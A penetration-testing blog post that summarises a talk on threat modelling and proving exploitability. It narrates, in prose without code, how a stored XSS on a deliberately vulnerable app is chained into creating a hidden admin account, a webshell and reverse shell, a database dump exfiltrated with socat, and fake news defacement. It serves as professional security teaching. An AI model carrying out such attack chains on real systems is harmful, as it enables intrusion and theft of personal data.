I recently produced a presentation for the AISA conference titled “Penetration Testing the Aegis9 Way: Why threat modelling, proving exploitability and demonstrating impact matters”. The intention was to illustrate (with practical examples) how proving exploitability in the context of the threat model faced by a system allows clients to gain more value out of penetration tests (in our opinion).
This blog post is a synopsis of the presentation’s key points. In it, I’ll illustrate how applying a threat model can significantly alter the criticality rating of an issue even though the technical risk hasn’t changed. This allows testing focus to be applied to best effect in the limited time available and allows clients to apply, often scarce, resources for remediation appropriately and have additional supporting justification for obtaining additional resources if necessary.
The first question to address is how to determine the key threat(s) the system being tested faces. We do this in a pre-engagement meeting/call between the penetration tester and the client. In our view, context is key and the client is the one best positioned to detail that. Typically, they will already have a good idea of the threat(s) their system faces, and in the past some have provided threats that were very left-field but made a lot of sense when explained. Similarly, the penetration tester makes sure they apply their experience to ensure other potential threats the client may not be aware of, or may have otherwise dismissed, are brought into the mix.
The net result should be a ranked list of threat actors and the actions they would likely take if they successfully compromised the system. The rank order should be based on the likelihood of each actor being interested enough in the system to attack it combined with the potential business impact to the client if the actor successfully compromises it and takes the actions expected.
Why is this important? Well, penetration tests are often time limited based on cost or because of project deadlines. As a result, testers will often have less time than they would ideally like for testing a system…..and always less time than an attacker will have! Therefore, if a client is to gain maximum value from a penetration test, the tester must focus their efforts and prioritise test cases effectively. This does not necessarily mean prioritising test cases that present the highest technical risk!
Instead, it means prioritising test cases based on actions that could result in the threat model actor(s) at the top of our list achieving their likely goals. If a bug class that allows this is found, the ability to exploit it is proven and its impact demonstrated, a criticality rating can be appropriately applied for that entire bug class and exploitation context (e.g. unauthenticated or low privileged user). Now, instead of spending time trying to find more instances of the same bug class (which would ultimately result in the same demonstrated impact), the tester can focus on other classes of bug and attempt to demonstrate their impact if found.
Why might this be more effective and better value for the client? Let’s look at an example to illustrate.
The Scenario
In this scenario, we have a web application that I made custom changes to in order to make it exploitable. It is internet facing and holds significant PII. Our threat model determined the key threat was organised crime who would attempt to steal the database containing the PII. This is their absolute worst-case scenario.
Testing the application, we find a stored XSS vulnerability in the Name field of a submission form that an unauthenticated user (i.e. a member of the public) could easily exploit.
Many penetration tests will stop here, the testers will give themselves a pat on the back, note the XSS finding and then move on. The pen test report will then likely highlight the issue as a high concern and provide some general examples of how XSS can be leveraged, such as by stealing session cookies or session riding. Most pen testers will instinctively understand the potential impact and implications of the issue given the above screenshots and an issue description, however non-technical report readers, or even some developers, may not.
As a result, the client, or their developers/advisers, may think simply mitigating this single exploitable instance (and others the pen tester may find) is sufficient for the problem to go away. In fairness, the alert popup doesn’t look particularly dangerous so that is a reasonable stance.
However, part of our job as penetration testers is to go beyond just presenting technical risks and help translate them into business risks for our clients and, if you are a reading this as a recipient of pen tests and want maximum value from the engagement, this is something you should expect from the testers you are paying good money for.
Proving exploitability and demonstrating impact requires a tester to go beyond simply showing an issue is there and instead to develop a proof of concept that leverages it to its full potential in the context of the threat model. This often requires chaining several smaller concern issues together or leveraging features or functionality in the application for unintended outcomes.
Going back to our scenario, the session cookies have their HTTPOnly flag set so cannot be stolen by malicious JavaScript. So, what can we do?
Well, becoming familiar with the admin functions in the application either in a local instance or using an admin account provided by the client for testing (this is why testers often ask for an admin account as well), we discover that admins can alter the filetypes allowed to be uploaded and can also upload files. They also have the ability to create other admin accounts.
So, taking our concept of demonstrating impact, we create a proof-of-concept JavaScript payload that will attempt to create an admin account. We then host the script on a server we control.
We then plant our payload on the page by inserting the following into the vulnerable Name field:
As the website has no Content Security Policy (usually a low concern issue in and of itself), our payload will be included in the web page when users visit it. Now, we sit and wait for an admin that is logged in to visit the page.
After this happens and we get notified, we can log into the application with our newly created admin account whose password was specified in our JavaScript payload. Note that the admin visiting the page received no indication they had just created us an admin account and the payload fails silently if the visitor is not an admin :-)
After logging into the application, we can add php files to the allowed filetypes list and then upload a simple webshell which we use to gain a full reverse shell from the server. Again, this is only possible because the instance has been made deliberately vulnerable for the purposes of demonstration.
Of course, this is a pretty severe issue now, but again, we aren’t yet done. Recall that the threat model is of an organised crime actor that would steal the database containing PII. From the position we have, we still need to try to do this to prove whether the client’s worst case scenario is possible.
So, after grabbing the database credentials being used by the application from the config/database.php file, we use the mysqldump command to dump the database contents to a temporary file on the server and then transfer it to our attacking host using socat.
The Outcome
So, by applying some extra effort to our pen test, we have proven the XSS vulnerability can be exploited by an unauthenticated user and demonstrated the impact to the client by chaining several issues, some of which may have been dismissed by themselves:
- Stored XSS
- No Content Security Policy
- Admin ability to alter file upload types in the web interface
- Programs installed on the server that are probably unnecessary but which allow data to be easily exfiltrated
Doing so showed the client that their worst case scenario, given the threat model, could be realised through an unauthenticated XSS vulnerability. This is a far cry from simply popping an alert box and it leaves any report reader in no doubt as to the potential implications of the issue.
Now, instead of looking for more unauthenticated XSS issues, which would likely result in the same outcome, the pen tester can stop looking for that class of bug, move on to others and leave mitigation of XSS across the code base to the developers, thus making better use of the engagement time. Of course, this is dependent on the client’s requirements, and they may simply want as many instances of a dangerous bug class to be found by the penetration tester.
Having proof of what the issue could lead to will also mean the security team are better informed when deciding whether to mitigate the entire code base and provide more ammunition when justifying the additional resources internally.
Flowing on from this, it also means that the client can better assess whether to invest resources into mitigating the Content Security Policy issue and preventing admins from altering allowed file upload types as part of their remediation of the entire issue i.e. whether to take a defence in depth approach.
When a Medium is actually a Critical issue
Next, let’s change the scenario up a little and look at why the threat model could have a significant effect on the severity level of an issue.
What if the website was largely static, had no login features and no ability to gain remote code execution or steal the database? Would the severity of the cross-site scripting issue be reduced?
In my view, the answer is……it depends! With the previous threat model, the severity would be reduced, perhaps to a medium level concern. But let’s assume a different threat model:
- The client is ramping up for an IPO
- Their biggest threat is anything that would cause reputational damage ahead of the IPO. Threat actors could therefore include those that may have a financial interest in seeing the IPO fail or not raise as much capital as the client would like.
Again, just popping an alert box to show stored XSS doesn’t demonstrate any impact. Let’s see if we can prove exploitability and leverage it for impact in the context of our threat model.
As the JavaScript we can inject into the web page has access to the page’s DOM, we can control the content of the web page seen by visitors by rewriting parts or adding to it. We’ll amend the payload hosted on our web server to do just that and add a bogus piece of news to the page stating that the IPO is off and the company is ceding superiority to a rival.
Note: The page content alteration all happens on the client-side so content is only being altered in the visiting user’s web browser ... but will happen to every visiting user that has JavaScript enabled in their browser.
Planting this payload on the vulnerable web page results in visitors seeing the following when they visit:
Clearly, what is being displayed to users could be far worse (highly distasteful or illegal content) but this alone would severely embarrass the client and damage their IPO. Therefore, this is actually a critical level risk to them and definitely not a medium.
The Outcome
By shifting our perspective in the pen test and by really understanding the client’s threat model, we have avoided misclassifying the level of risk they faced when writing our report and communicating it to them. Simply applying a little more effort to our exploit to prove exploitability and demonstrate impact guaranteed the client could also fully appreciate the issue. Could they have done so just by seeing an alert popup? Possibly ... but seeing is believing.
Conclusion
While a web application has been used to illustrate my points around applying a threat model and actually demonstrating impact to provide client maximum value from pen tests, the same principals can be equally applied to any other type of test.
For example, in a cloud-hosted Active Directory network with critical data residing on a hardened server that has very limited access, obtaining Domain Admin privileges and moving in the network may not need to be the focus. Instead, if our threat model is a malicious insider we might find the critical issue is that any user could leverage AWS permissions to access the secured data and exfiltrate it very quickly using techniques detailed in my previous blog post.
Again, without threat modelling, this issue could be missed and without demonstrating impact, the client or developers may not fully grasp the potential consequences or apply an adequate level of mitigation.
At the end of the day, this all comes down to the mentality applied to the penetration test and I firmly believe it is one way to provide clients with maximum value from engagements and help make systems as secure as possible.